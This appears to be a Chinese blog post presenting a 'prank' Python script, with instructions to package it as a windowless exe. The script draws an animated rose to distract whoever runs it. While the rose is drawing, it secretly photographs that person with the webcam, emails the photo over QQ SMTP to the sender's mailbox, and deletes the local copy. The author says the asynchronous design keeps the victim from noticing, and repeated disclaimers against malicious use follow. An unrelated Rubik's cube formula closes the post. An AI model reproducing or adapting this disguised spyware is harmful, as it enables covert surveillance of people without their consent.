python 動態畫玫瑰+回傳照片+自動刪除+自定義郵件+異步調用

python 惡搞代碼

先貼代碼出來

import imghdr
import smtplib
import time
import turtle
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from threading import Thread

import cv2
import os

def async(f):
    def wrapper(*args, **kwargs):
        thr = Thread(target=f, args=args, kwargs=kwargs)
        thr.start()

    return wrapper

@async
def draw():
    """畫玫瑰的方法"""
    turtle.penup()
    turtle.left(90)
    turtle.fd(200)
    turtle.pendown()
    turtle.right(90)

    # 花蕊
    turtle.fillcolor("red")
    turtle.begin_fill()
    turtle.circle(10, 180)
    turtle.circle(25, 110)
    turtle.left(50)
    turtle.circle(60, 45)
    turtle.circle(20, 170)
    turtle.right(24)
    turtle.fd(30)
    turtle.left(10)
    turtle.circle(30, 110)
    turtle.fd(20)
    turtle.left(40)
    turtle.circle(90, 70)
    turtle.circle(30, 150)
    turtle.right(30)
    turtle.fd(15)
    turtle.circle(80, 90)
    turtle.left(15)
    turtle.fd(45)
    turtle.right(165)
    turtle.fd(20)
    turtle.left(155)
    turtle.circle(150, 80)
    turtle.left(50)
    turtle.circle(150, 90)
    turtle.end_fill()

    # 花瓣1
    turtle.left(150)
    turtle.circle(-90, 70)
    turtle.left(20)
    turtle.circle(75, 105)
    turtle.setheading(60)
    turtle.circle(80, 98)
    turtle.circle(-90, 40)

    # 花瓣2
    turtle.left(180)
    turtle.circle(90, 40)
    turtle.circle(-80, 98)
    turtle.setheading(-83)

    # 葉子1
    turtle.fd(30)
    turtle.left(90)
    turtle.fd(25)
    turtle.left(45)
    turtle.fillcolor("green")
    turtle.begin_fill()
    turtle.circle(-80, 90)
    turtle.right(90)
    turtle.circle(-80, 90)
    turtle.end_fill()

    turtle.right(135)
    turtle.fd(60)
    turtle.left(180)
    turtle.fd(85)
    turtle.left(90)
    turtle.fd(80)

    # 葉子2
    turtle.right(90)
    turtle.right(45)
    turtle.fillcolor("green")
    turtle.begin_fill()
    turtle.circle(80, 90)
    turtle.left(90)
    turtle.circle(80, 90)
    turtle.end_fill()

    turtle.left(135)
    turtle.fd(60)
    turtle.left(180)
    turtle.fd(60)
    turtle.right(90)
    turtle.circle(200, 60)
    time.sleep(10)


def camera():
    capture = cv2.VideoCapture(0)
    # time.sleep(3)
    while True:
        # 獲取一幀
        flag, frame = capture.read()
        cv2.imwrite("d:/photo.jpg", frame)
        imgType = imghdr.what("d:/photo.jpg")
        if imgType == "jpeg":
            break
        if cv2.waitKey(1) == ord('q'):
            break
    capture.release()# 釋放攝像頭
    cv2.destroyAllWindows() # 關閉所有攝像窗口



def dele():
    os.remove("d:/photo.jpg")



def send():
    sender = ''  # 填寫自己的郵箱地址
    receivers = '' # 填寫自己的郵箱地址 # 收件人郵箱,可以和發件人一致
    message = MIMEMultipart('related')
    subject = '有人上當了'
    message['Subject'] = subject
    message['From'] = sender
    message['To'] = receivers
    content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
    message.attach(content)

    file = open("d:/photo.jpg", "rb")
    img_data = file.read()
    file.close()

    img = MIMEImage(img_data)
    img.add_header('Content-ID', 'imageid')
    message.attach(img)

    try:
        server = smtplib.SMTP_SSL("smtp.qq.com")
        server.login(sender, "")  # QQ郵箱的授權碼
        server.sendmail(sender, receivers, message.as_string())
        server.quit()
        print("啓動成功!即將繪圖")
        dele()  # 發送成功後刪除照片
    except smtplib.SMTPException as e:
        print(e)
# 下載pyinstaller  pip install pyinstaller
# 進入cmd 進到eg 文件夾
# 打包代碼 pyinstaller -F -w eg.py
# 生成的exe文件在 lists文件夾下


def start():
    draw()
    camera()
    send()


start()

說一下原理吧,利用py的turtle模塊,繪製圖片,吸引注意力,同時,異步調用攝像頭,拍照發送到你填寫的郵箱地址。
畫玫瑰的源碼來源於網絡,攝像頭的代碼來源於之前看過的一篇博客,但是忘記收藏了。。。
本人 在兩個代碼基礎上進行整理,添加了異步調用攝像頭,繪圖過程中不會有停頓。防止被發現。
此代碼跟朋友開玩笑可以,祝你好運!
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,
請不要惡意使用此代碼,請不要惡意使用此代碼,請不要惡意使用此代碼,

效果圖
是動態的繪製過程 ----- 自己運行看看
在這裏插入圖片描述
畫玫瑰----原文鏈接

攝像頭調用----原文鏈接

將py 文件打包爲 exe 可執行文件:

1. 下載 pyinstaller ---- pip install pyinstaller
2. 打開cmd,cd 到 .py文件的 父文件夾
3. 執行打包代碼 pyinstaller -F -w name.py
4. 生成的exe文件在 lists文件夾下

立一個flag,每天至少寫一篇博客!實在沒啥寫的話,就去做算法題目,看懂了之後記錄在csdn!

插一句題外話,關於魔方,

三階魔方 花式i love you公式
F’ U2 L2 F2 R U2 L2 U2 F2 L U2 F2 R’ F’

魔方公式圖解:
在這裏插入圖片描述
吐槽一下 關於破解、激活類博文不允許發佈
昨晚熬夜寫的,發了三次,剛纔查到上面的官方通知,浪費時間-----

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章